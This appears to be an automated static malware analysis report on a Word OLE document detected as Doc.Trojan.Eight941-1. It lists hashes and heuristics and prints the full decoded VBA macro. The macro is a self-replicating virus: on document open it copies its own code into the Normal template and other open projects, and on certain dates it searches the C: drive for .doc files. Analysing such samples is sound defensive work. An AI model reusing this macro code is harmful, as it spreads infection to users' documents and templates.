Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 cf85d8c8ff6b2c7b…

MALICIOUS

Office (OLE)

36.5 KB Created: 2007-08-27 16:51:00 Authoring application: Microsoft Word 11.3.5 First seen: 2014-05-13
MD5: f77d4498c70a6847f921329095c936dc SHA-1: 7367d7bf303ab6313686cbf30a9b501e70dd413e SHA-256: cf85d8c8ff6b2c7bd5b4ca8efaddfbd30dd1b4f0ef8d19c2bcdf08f1911ad8f4
200 Risk Score

Heuristics 3

  • ClamAV: Doc.Trojan.Eight941-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Eight941-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
                        l = Application.VBE.VBProjects(j).VBComponents(1).CodeModule.ProcCountLines("Document_Open", vbext_pk_Proc)
                        Application.VBE.VBProjects(i).VBComponents(1).CodeModule.AddFromString Application.VBE.VBProjects(j).VBComponents(1).CodeModule.Lines(B, B + l)
                    Else

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2847 bytes
SHA-256: 3093670f8942682aea6f7f838d2b64782aa041998f3e7b43384ff97fcb38584b
Detection
ClamAV: Doc.Trojan.Eight941-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
' L637592
' JH
'
' 03/24/2000 5:06:15 PM
'
' L637592
' JH
'
' 03/24/2000 4:12:56 PM
'
' L637592
' JH
'
' 03/24/2000 1:54:09 PM
'
' L637592
' JH
'
' 03/24/2000 1:21:48 PM
'
' L637592
' JH
'
' 03/23/2000 3:28:17 PM
'
' L637592
' JH
'
' 03/21/2000 2:16:42 PM
'
' L637592
' JH
'
' 03/21/2000 2:16:17 PM
'
' L637592
' JH
'
' 03/21/2000 1:39:46 PM
'
' L637592
' JH
'
' 03/21/2000 1:18:40 PM
'
' L637592
' JH
'
' 03/21/2000 12:54:33 PM
'
' L637592
' JH
'
' 03/21/2000 10:54:39 AM
'
' L637592
' JH
'
' 03/21/2000 8:53:37 AM
'
' L637592
' JH
'
' 03/21/2000 8:24:39 AM
'
' L637592
' JH
'
' 03/16/2000 12:42:50 PM
'
' L637592
' JH
'
' 03/15/2000 5:50:58 PM
'
Private Sub Document_Open()
On Error GoTo 0
Dim i, j As Integer
j = -1
For i = 1 To Application.VBE.VBProjects.Count
    If Application.VBE.VBProjects(i).Name = "Normal" Then
        j = i
    End If
    If Application.VBE.VBProjects(i).VBComponents(1).CodeModule.Find("Document_Open", 1, 1, 1000, 100) = False Then
        Dim B, l As Integer
            If j > 0 Then
                If Application.VBE.VBProjects(j).VBComponents(1).CodeModule.Find("Document_Open", 1, 1, 1000, 100) = True Then
                    B = Application.VBE.VBProjects(j).VBComponents(1).CodeModule.ProcStartLine("Document_Open", vbext_pk_Proc)
                    l = Application.VBE.VBProjects(j).VBComponents(1).CodeModule.ProcCountLines("Document_Open", vbext_pk_Proc)
                    Application.VBE.VBProjects(i).VBComponents(1).CodeModule.AddFromString Application.VBE.VBProjects(j).VBComponents(1).CodeModule.Lines(B, B + l)
                Else
                    B = Me.VBProject.VBComponents(1).CodeModule.ProcStartLine("Document_Open", vbext_pk_Proc)
                    l = Me.VBProject.VBComponents(1).CodeModule.ProcCountLines("Document_Open", vbext_pk_Proc)
                    Application.VBE.VBProjects(i).VBComponents(1).CodeModule.AddFromString Me.VBProject.VBComponents(1).CodeModule.Lines(B, B + l)
            End If
        End If
    End If
Next i
If (Month(Date) = 11 And Day(Date) = 10) Or (Month(Date) = 7 And Day(Date) = 1) Then
Set fs = Application.FileSearch
    fs.LookIn = "c:\"
    fs.FileName = "*.doc"
    fs.SearchSubFolders = True
    If fs.Execute() > 0 Then
        For i = 1 To fs.FoundFiles.Count
            
            
            Options.AllowFastSave = True
            Options.BackgroundSave = True
            Options.CreateBackup = False
            Options.SavePropertiesPrompt = False
            Options.SaveNormalPrompt = False
Exitub:
               Next i
    End If
End If
End Sub